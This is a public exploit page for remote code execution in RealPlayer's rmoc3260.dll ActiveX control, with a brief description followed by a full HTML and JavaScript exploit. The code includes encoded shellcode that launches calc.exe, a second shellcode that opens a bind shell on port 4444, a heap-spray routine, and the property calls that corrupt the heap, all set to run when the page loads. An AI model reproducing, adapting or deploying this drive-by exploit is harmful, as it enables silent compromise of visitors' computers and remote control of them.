Exploit for the heap corruption vulnerability in the RealPlayer ActiveX control. By sending a specially crafted string to the 'Console' property in the rmoc3260.dll control, an attacker may be able to execute arbitrary code.
9c9470fc73ec08b731d851e037405e4cdd3056a7576b171fc5620b4f9224c9bb<!--
Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit(Heap Corruption)
written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, rmoc3260.dll version 6.0.10.45
Thanks to h.d.m. and the Metasploit crew
-->
<html>
<head>
<title>Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit</title>
<script language="JavaScript" defer>
function Check() {
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
"%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
"%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
"%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
"%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
"%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
"%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
"%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
"%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
"%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
"%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
"%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
"%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
"%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
"%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
"%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
"%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
"%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
"%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
"%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
"%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
"%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
"%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
"%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
"%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
"%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
"%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
"%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
"%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
"%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
"%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
"%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
"%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
"%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
"%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
"%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
"%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
"%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
"%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
"%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
"%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
"%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
"%u684f%u3956%u386f%u4350");
var bigblock = unescape("%u0C0C%u0C0C");
var headersize = 20;
var slackspace = headersize + shellcode1.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 400; i++){ memory[i] = block + shellcode1 }
var buf = '';
while (buf.length < 32) buf = buf + unescape("%0C");
var m = '';
m = obj.Console;
obj.Console = buf;
obj.Console = m;
m = obj.Console;
obj.Console = buf;
obj.Console = m;
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj">
Unable to create object
</object>
</body>
</html>
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